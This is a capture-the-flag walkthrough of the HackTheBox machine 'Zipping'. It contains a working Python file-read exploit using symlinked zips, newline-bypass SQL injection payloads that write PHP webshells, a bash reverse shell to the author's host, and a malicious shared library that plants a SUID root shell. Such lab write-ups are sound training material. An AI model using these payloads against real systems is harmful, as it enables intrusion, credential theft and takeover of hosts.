index-logo

Zipping - HTB

walkthrough by elswix

Machine: Zipping
Difficulty: Medium
Platform: HackTheBox
Release: Released on 08/26/2023


About Zipping


Zipping is a medium-difficulty machine on HackTheBox. Initially, we will exploit a file reading vulnerability to gain access to the source code of the page.


Shell as rektsu


After reading the source code, we discovered an SQL Injection vulnerability. We managed to exploit it by bypassing certain input checks performed with regular expressions using the preg_match function, abusing the linefeed character. Once we found an attack vector, we succeeded in writing files to the system by exploiting the SQL injection. By abusing a GET parameter that uses the include() function on any specified file, we were able to execute commands on the system.


Shell as root


As rektsu, we can execute a program as root using sudo privileges. This program loads a shared library that we can write as rektsu, enabling us to insert malicious content and escalate privileges.


Recon


As always, we need to discover open ports on the victim machine. To achieve this, we will use nmap:

elswix@kali$ nmap -p- --open --min-rate 10000 -v -Pn 10.10.11.229

Nmap scan report for 10.10.11.229 (10.10.11.229)
Host is up (0.14s latency).
Not shown: 55107 closed tcp ports (conn-refused), 10426 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
At first glance, we notice that ports 22 and 80 are open on the victim machine. To identify which services are running on these ports, we can execute an exhaustive scan using nmap:

elswix@kali$ nmap -sCV -p22,80 10.10.11.229 -oN fullScan
Nmap scan report for 10.10.11.229 (10.10.11.229)
Host is up (0.21s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.0p1 Ubuntu 1ubuntu7.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 9d:6e:ec:02:2d:0f:6a:38:60:c6:aa:ac:1e:e0:c2:84 (ECDSA)
|_  256 eb:95:11:c7:a6:fa:ad:74:ab:a2:c5:f6:a4:02:18:41 (ED25519)
80/tcp open  http    Apache httpd 2.4.54 ((Ubuntu))
|_http-title: Zipping | Watch store
|_http-server-header: Apache/2.4.54 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel


Web Application - Port 80


Before accessing the website through our browser, we will perform reconnaissance scanning of technologies used on the website:

elswix@kali$ whatweb -a 3 10.10.11.229
http://10.10.11.229 [200 OK] Apache[2.4.54], Bootstrap, Country[RESERVED][ZZ], Email[info@website.com], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.54 (Ubuntu)], IP[10.10.11.229], JQuery[3.4.1], Meta-Author[Devcrud], PoweredBy[precision], Script, Title[Zipping | Watch store]
Nothing to highlight for the moment.

When accessing the website through our browser, we will encounter the following content:




Shop


There is a shop section:



When clicking on a product, we will be redirected to the product page:



We can highlight the URL:

http://10.10.11.229/shop/index.php?page=product&id=2
There are two interesting GET parameters. The page parameter seems to be pointing to a local file and concatenating the string .php to it. If we try to load this resource directly, it exists:



The id parameter seems to be related to the product.php file.



When specifying the id parameter on product.php, it doesn't return anything. I think this resource is interacting with a database.

There is also an upload.php section:



There is an interesting message:

If you are interested in working with us, do not hesitate to send us your curriculum.  

The application will only accept zip files, inside them there must be a pdf file containing your curriculum.
It says that we can upload a 'curriculum' file in zip format. It specifies that there must be a PDF file in the zip file.

To test this section, I will create a 'PDF' file with some content and then compress it:

elswix@kali$ echo "This is a test" > test.pdf
Now, I will simply compress it using the zip tool:

elswix@kali$ zip test.zip test.pdf
  adding: test.pdf (stored 0%)
Once we have the ZIP file, we will upload it:



Once the file is uploaded, it displays a link to the uploaded file (unzipped):



Since it was not actually a PDF file, it is not displaying anything.

Let's see what happens if we attempt to upload a php file instead of a zip file:

elswix@kali$ echo '<?php phpinfo(); ?>' > test.php
It returns an error:



Upon inspecting the request with BurpSuite, I realized that the filename saved in the zip file has to have the .pdf extension, regardless of its content.

At the time the machine was launched, I abused the file upload section to upload a malicious PHP file, exploiting NULL-Byte injection, but it was patched a few days later.


File Read - Abusing Symlinks


One thing we can try is to compress a symlink file in the ZIP file, so that when the victim unzips it, we can get the contents of a file we want. This can be done using the -y parameter of the zip tool.

For instance, imagine that you want to read the /etc/passwd file, we could do something like this:

elswix@kali$ ln -s -f /etc/passwd passwd.pdf
elswix@kali$ zip -y passwd.zip passwd.pdf
  adding: passwd.pdf (stored 0%)
Remember that the files must end with the .pdf extension.

Let's attempt to upload the passwd.zip file and see what happens:



It was successfully uploaded. Let's see what happens if we click the link:



It is not loading anything, but it is understandable since the '/etc/passwd' file is not a PDF. We could try to read the content by making a GET request from our console:

elswix@kali$ curl -s http://10.10.11.229/uploads/344cc8f6bae56b127160992a8768c290/passwd.pdf
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:103:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:104:110:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
rektsu:x:1001:1001::/home/rektsu:/bin/bash
mysql:x:107:115:MySQL Server,,,:/nonexistent:/bin/false
_laurel:x:999:999::/var/log/laurel:/bin/false
It is working, we are reading local files. Doing this process manually is annoying, we can automate it using Python:

#!/usr/bin/python

import stat
import sys
import requests
import zipfile
import re

# https://stackoverflow.com/questions/35782941/archiving-symlinks-with-python-zipfile

def create_zip_with_symlink(output_zip_filename, link_source, link_target):
    zipInfo  = zipfile.ZipInfo(link_source)
    zipInfo.create_system = 3 
    unix_st_mode = stat.S_IFLNK 
    zipInfo.external_attr = unix_st_mode << 16 
    zipOut = zipfile.ZipFile(output_zip_filename, 'w', compression=zipfile.ZIP_DEFLATED)
    zipOut.writestr(zipInfo, link_target)
    zipOut.close()


def readFile():

    mainUrl = "http://10.10.11.229/"
    uploadUrl = mainUrl + "upload.php"

    zipContent = open("./malicious.zip", "rb").read()
    fileBody = {"zipFile":("malicious.zip",zipContent),"submit":(None, 'a')}

    resp = requests.post(uploadUrl, files=fileBody)

    regex = r'href="(.*?)"'
    fileUrl = re.findall(regex, resp.text)[3]
    fileUrl = mainUrl + fileUrl
    resp = requests.get(fileUrl)

    print(resp.text)





def main():

    fileToRead = sys.argv[1]
    create_zip_with_symlink('malicious.zip', 'malicious.pdf', fileToRead)
    readFile()


if __name__ == '__main__':

    if len(sys.argv) < 2:
        print("\n\n[!] Usage: python %s <file>" % sys.argv[0])
        sys.exit(1)

    try:
        main()
    except KeyboardInterrupt:
        print("\n\n[!] Leaving...")
        sys.exit(1)
I didn't know how to use symlinks in zip files using Python, so I borrowed some code from this discussion on Stack Overflow.

Let's see if it works:

elswix@kali$ python3 exploit.py /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:103:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:104:110:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
rektsu:x:1001:1001::/home/rektsu:/bin/bash
mysql:x:107:115:MySQL Server,,,:/nonexistent:/bin/false
_laurel:x:999:999::/var/log/laurel:/bin/false
It works correctly, so now we can enumerate the filesystem. Looking at the /etc/passwd file, we noticed that there are two users:

elswix@kali$ python3 exploit.py /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
rektsu:x:1001:1001::/home/rektsu:/bin/bash
We can read user.txt:

elswix@kali$ python3 exploit.py /home/rektsu/user.txt
18a6f**********************358ce
I found the directory where the website is hosted by testing some of the most common ones:

elswix@kali$ python3 exploit.py /var/www/html/index.php
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="description" content="Start your development with Creative Design landing page.">
    <meta name="author" content="Devcrud">
    <title>Zipping | Watch store</title>
........................
........................
........................
........................
........................
        <p>&copy; Zipping Watch Store</p>            
            </footer><!-- End of Footer-->  

        </div><!--End of Container -->      
    </section><!-- End of Section -->

    <!-- core  -->
    <script src="assets/vendors/jquery/jquery-3.4.1.js"></script>
    <script src="assets/vendors/bootstrap/bootstrap.bundle.js"></script>

    <!-- bootstrap affix -->
    <script src="assets/vendors/bootstrap/bootstrap.affix.js"></script>

    <!-- Creative Design js -->
    <script src="assets/js/creative-design.js"></script>

</body>
</html>
When inspecting the file /var/www/html/shop/index.php, we observe that each file loaded in the GET parameter page would be included by concatenating the extension .php to the end of the file name:

elswix@kali$ python3 exploit.py /var/www/html/shop/index.php
<?php
session_start();
// Include functions and connect to the database using PDO MySQL
include 'functions.php';
$pdo = pdo_connect_mysql();
// Page is set to home (home.php) by default, so when the visitor visits, that will be the page they see.
$page = isset($_GET['page']) && file_exists($_GET['page'] . '.php') ? $_GET['page'] : 'home';
// Include and show the requested page
include $page . '.php';
?>
This file is also including the functions.php file. As it is attempting to connect to a database, it could contain credentials.

elswix@kali$ python3 exploit.py /var/www/html/shop/functions.php
<?php
function pdo_connect_mysql() {
    // Update the details below with your MySQL details
    $DATABASE_HOST = 'localhost';
    $DATABASE_USER = 'root';
    $DATABASE_PASS = 'MySQL_P@ssw0rd!';
    $DATABASE_NAME = 'zipping';
    try {
        return new PDO('mysql:host=' . $DATABASE_HOST . ';dbname=' . $DATABASE_NAME . ';charset=utf8', $DATABASE_USER, $DATABASE_PASS);
    } catch (PDOException $exception) {
        // If there is an error with the connection, stop the script and display the error.
        exit('Failed to connect to database!');
    }
}
// Template header, feel free to customize this
function template_header($title) {
$num_items_in_cart = isset($_SESSION['cart']) ? count($_SESSION['cart']) : 0;
echo <<<EOT
<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8">
...............
...............
...............
...............
...............
EOT;
}
// Template footer
function template_footer() {
$year = date('Y');
echo <<<EOT
        </main>
        <footer>
            <div class="content-wrapper">
                <p>&copy; $year, Zipping Watch Store</p>
            </div>
        </footer>
    </body>
</html>
EOT;
}
?>
It contains the credentials of the root user to connect to the database. I tried the password to access as the rektsu user through SSH, but it didn't work.

Remembering what we saw during the website inspection, we encountered the file product.php. It could be interesting to read its content:

elswix@kali$ python3 exploit.py /var/www/html/shop/product.php
<?php
// Check to make sure the id parameter is specified in the URL
if (isset($_GET['id'])) {
    $id = $_GET['id'];
    // Filtering user input for letters or special characters
    if(preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/", $id, $match)) {
        header('Location: index.php');
    } else {
        // Prepare statement and execute, but does not prevent SQL injection
        $stmt = $pdo->prepare("SELECT * FROM products WHERE id = '$id'");
        $stmt->execute();
        // Fetch the product from the database and return the result as an Array
        $product = $stmt->fetch(PDO::FETCH_ASSOC);
        // Check if the product exists (array is not empty)
        if (!$product) {
            // Simple error to display if the id for the product doesn't exists (array is empty)
            exit('Product does not exist!');
        }
    }
} else {
    // Simple error to display if the id wasn't specified
    exit('No ID provided!');
}
?>

<?=template_header('Zipping | Product')?>

<div class="product content-wrapper">
    <img src="assets/imgs/<?=$product['img']?>" width="500" height="500" alt="<?=$product['name']?>">
    <div>
        <h1 class="name"><?=$product['name']?></h1>
        <span class="price">
            &dollar;<?=$product['price']?>
            <?php if ($product['rrp'] > 0): ?>
            <span class="rrp">&dollar;<?=$product['rrp']?></span>
            <?php endif; ?>
        </span>
        <form action="index.php?page=cart" method="post">
            <input type="number" name="quantity" value="1" min="1" max="<?=$product['quantity']?>" placeholder="Quantity" required>
            <input type="hidden" name="product_id" value="<?=$product['id']?>">
            <input type="submit" value="Add To Cart">
        </form>
        <div class="description">
            <?=$product['desc']?>
        </div>
    </div>
</div>

<?=template_footer()?>
This part of the code is the most interesting:

<?php
// Check to make sure the id parameter is specified in the URL
if (isset($_GET['id'])) {
    $id = $_GET['id'];
    // Filtering user input for letters or special characters
    if(preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/", $id, $match)) {
        header('Location: index.php');
    } else {
        // Prepare statement and execute, but does not prevent SQL injection
        $stmt = $pdo->prepare("SELECT * FROM products WHERE id = '$id'");
        $stmt->execute();
        // Fetch the product from the database and return the result as an Array
        $product = $stmt->fetch(PDO::FETCH_ASSOC);
        // Check if the product exists (array is not empty)
        if (!$product) {
            // Simple error to display if the id for the product doesn't exists (array is empty)
            exit('Product does not exist!');
        }
    }
} else {
    // Simple error to display if the id wasn't specified
    exit('No ID provided!');
}
?>
There are comments regarding SQL Injection, and after examining the code, it seems vulnerable (upon inspecting the cart.php file, I noticed that it is also vulnerable via the product_id POST parameter).

Let's understand what this code does. Initially, it checks whether the GET id parameter is set. If it is, the data specified in the parameter will be saved in the id variable.

After that, it checks if it starts with a character other than a literal number. In that case, it will redirect us to index.php.

This regex seems to be employed to prevent SQL Injection, but there are some considerations to bear in mind.

At this point, it selects all values from the 'products' table where the 'id' column matches the data specified in the id parameter.

$stmt = $pdo->prepare("SELECT * FROM products WHERE id = '$id'");
If we were able to input malicious queries into the id parameter, there would be potential for exploiting SQL Injection. However, first, we need to understand how to bypass the regex checks.

After researching on the internet, I found interesting techniques for bypassing preg_match checks on HackTricks.

"When delimiting the start of the regexp preg_match() only checks the first line of the user input, then if somehow you can send the input in several lines, you could be able to bypass this check."

This is similar to CRLF injection, but in this case, we only need to use the LineFeed character.

I'll intercept all requests with Burp Suite and conduct tests to explore potential exploits for this vulnerability



The URL-encoded linefeed character is %0A, which is important to note as we are passing data through the URL.



I'll explain this query:

%0A'%3bselect+'test'+%231
First, we specify a linefeed in URL encoding. Following that, I add a single quote to close the previous query. The %3b character represents the ;, indicating that the previous query has ended, allowing the start of another query. I then input the select 'test' query (solely for testing purposes, as it won't be displayed in the response). Finally, I comment out the remaining part of the query using %23, which corresponds to the # character in URL decoding. It's important to note that a literal number must be specified to satisfy the regex checks required by the queries.

As we aren't seeing the output in the response, we need to use techniques like Conditional Error or Time-Based SQL Injection. Although this makes exploitation more challenging, it's not a problem.

However, revisiting the code we've already examined, in the index.php file, it includes .php files specified through the page parameter. Therefore, if we could write files on the victim machine through SQL Injection, we could inject malicious PHP code, given that it is loaded using the include function.

Next, I will attempt to write the file /dev/shm/pwned.php with the content <?php echo shell_exec('id'); ?>.This PHP code will output the result of the id command if it gets interpreted.

The query will be as follows:

%0A'%3bselect+'<?php+echo+shell_exec("id");+?>'+into+outfile+'/dev/shm/pwned.php'+%231
We can verify whether we have successfully written the file using the file reading vulnerability we identified earlier:

elswix@kali$ python3 exploit.py /dev/shm/pwned.php
<?php echo shell_exec("id"); ?>
It has been written successfully. Therefore, if we manage to load this file through the page parameter of the index.php file, we should observe the output of the id command.



We have successfully exploited the SQL injection to achieve Remote Code Execution (RCE) through file writing and exploiting the include function.


Shell as rektsu


To write a webshell, we can use the following query:

%0A'%3bselect+'<?php+echo+shell_exec($_GET["cmd"]);+?>'+into+outfile+'/dev/shm/webshell.php'+%231


Now, we can access the webshell through the following URL:

http://10.10.11.229/shop/index.php?page=/dev/shm/webshell&cmd=whoami


Now, to obtain a reverse shell, I will create a malicious index.html file containing a bash reverse shell.

elswix@kali$ cat index.html
bash -i >& /dev/tcp/10.10.16.5/3001 0>&1
Firstly I will create an HTTP server to host the index.html file:

elswix@kali$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Now, I will set up my netcat listener on port 3001 to receive the reverse shell:

elswix@kali$ nc -lvnp 3001
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Listening on [::]:3001
Ncat: Listening on 0.0.0.0:3001
Now, I will send the following payload:



We received the GET request for our index.html file:

elswix@kali$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.229 - - [12/Jan/2024 18:49:39] "GET / HTTP/1.1" 200 -
Finally, we have gained access to the system as rektsu:

elswix@kali$ nc -lvnp 3001
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Listening on [::]:3001
Ncat: Listening on 0.0.0.0:3001
Ncat: Connection from 10.10.11.229:35478.
bash: cannot set terminal process group (1127): Inappropriate ioctl for device
bash: no job control in this shell
rektsu@zipping:/var/www/html/shop$
Now, we will simply adjust the TTY to interact more comfortably with the system:

rektsu@zipping:/var/www/html/shop$  script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
rektsu@zipping:/var/www/html/shop$  ^Z
zsh: suspended  nc -lvnp 3001

elswix@kali$ stty raw -echo;fg
[1]  + continued  nc -lvnp 3001
                               reset
reset: unknown terminal type unknown
Terminal type? xterm
rektsu@zipping:/var/www/html/shop$ export TERM=xterm
rektsu@zipping:/var/www/html/shop$ export SHELL=/bin/bash
rektsu@zipping:/var/www/html/shop$


Shell as root


As rektsu, we do not belong to any interesting groups:

rektsu@zipping:/home/rektsu$ id
uid=1001(rektsu) gid=1001(rektsu) groups=1001(rektsu)
rektsu@zipping:/home/rektsu$
Upon inspecting our sudoers privileges, we noticed that we can execute the program /usr/bin/stock as any user in the system:

rektsu@zipping:/home/rektsu$ sudo -l
Matching Defaults entries for rektsu on zipping:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User rektsu may run the following commands on zipping:
    (ALL) NOPASSWD: /usr/bin/stock
rektsu@zipping:/home/rektsu$
When executing it, it prompt us for a password:

rektsu@zipping:/home/rektsu$ sudo /usr/bin/stock
Enter the password: a
Invalid password, please try again.
rektsu@zipping:/home/rektsu$
I'm not familiar with it, but perhaps we could perform reverse engineering to recover the program's source code (though it may not be necessary for this machine).

Perhaps we can retrieve the password using the strings command (which prints all readable characters from the binary):

rektsu@zipping:/home/rektsu$ strings /usr/bin/stock
/lib64/ld-linux-x86-64.so.2
mgUa
fgets
stdin
puts
exit
fopen
__libc_start_main
fprintf
dlopen
__isoc99_fscanf
__cxa_finalize
strchr
fclose
__isoc99_scanf
strcmp
__errno_location
libc.so.6
GLIBC_2.7
GLIBC_2.2.5
GLIBC_2.34
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
PTE1
u+UH
Hakaize
St0ckM4nager
/root/.stock.csv
Enter the password: 
Invalid password, please try again.
...............
...............
...............
...............
...............
...............
...............
...............
...............
...............
...............
...............
...............
...............
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.got.plt
.data
.bss
.comment
rektsu@zipping:/home/rektsu$
In the command output, there is an interesting string we can highlight: St0ckM4nager. It seems to be a password, so we could attempt to use it to execute the program.

rektsu@zipping:/home/rektsu$ sudo stock
Enter the password: St0ckM4nager

================== Menu ==================

1) See the stock
2) Edit the stock
3) Exit the program

Select an option: 3
rektsu@zipping:/home/rektsu$
It worked, and we gained access to a menu. I want to obtain more information about the stock program. Before starting reverse engineering methods with tools like ghidra, I always use the strace or ltrace program. However, on this machine, only strace is installed.

strace is a Unix tool that intercepts and records system calls and signals made by a program. It helps trace and debug a program's interaction with the operating system kernel, providing detailed information about system calls, arguments, and results. It is useful for understanding program behavior, diagnosing performance issues, debugging errors, and conducting security analysis.

I will launch strace specifying the stock program as an argument:

elswix@kali$ strace /usr/bin/stock
After entering the password, the strace program reports something interesting:



It is attempting to load a shared library from the /home/rektsu/.config/ directory. This presents a potential privilege escalation vector. Since we can execute this program as root, we could create a malicious shared library and save it as libcounter.so in the /home/rektsu/.config/ directory.

This will be the code of the malicious library:

#include <stdlib.h> 


void exploit(void) __attribute__((destructor)); 


void exploit(void){

  setuid(0);
  system("cp /bin/bash /tmp/elswix");
  system("chmod u+s /tmp/elswix");
  
}
In short, the above code will be executed after the program is finished. The setuid() function is not necessary in this case, but it never hurts to use it, especially when dealing with a Set-UID file.

I will compile it using gcc:

elswix@kali$ gcc libcounter.c -fPIC -shared -o libcounter.so
libcounter.c: In function exploit:
libcounter.c:9:3: warning: implicit declaration of function setuid [-Wimplicit-function-declaration]
    9 |   setuid(0);
      |   ^~~~~~
That's just a warning; there is no problem. Besides, you can remove the function if you wish.

Now I will upload this file on the victim machine:

elswix@kali$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Now, I will download it on the victim machine using curl:

rektsu@zipping:/home/rektsu/.config$ curl 10.10.16.5/libcounter.so -o libcounter.so
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 15432  100 15432    0     0  11370      0  0:00:01  0:00:01 --:--:-- 11405
rektsu@zipping:/home/rektsu/.config$
Finally, let's execute the stock program using sudo:

rektsu@zipping:/home/rektsu/.config$ sudo stock
Enter the password: St0ckM4nager

================== Menu ==================

1) See the stock
2) Edit the stock
3) Exit the program

Select an option: 3
rektsu@zipping:/home/rektsu/.config$
If everything worked fine, we should see the /tmp/elswix file with the Set-UID bit set (recall that the /tmp/elswix file is a copy of the /bin/bash).

rektsu@zipping:/home/rektsu/.config$ ls -l /tmp
total 1404
-rwsr-xr-x 1 root root 1433736 Jan 12 22:30 elswix
rektsu@zipping:/home/rektsu/.config$
Great!, now we can gain access as root executing /tmp/elswix -p:

rektsu@zipping:/home/rektsu/.config$ /tmp/elswix -p
elswix-5.2# whoami
root
elswix-5.2#
Finally, we can read root.txt:

elswix-5.2# cd /root
elswix-5.2# cat root.txt
491af**********************05260
elswix-5.2#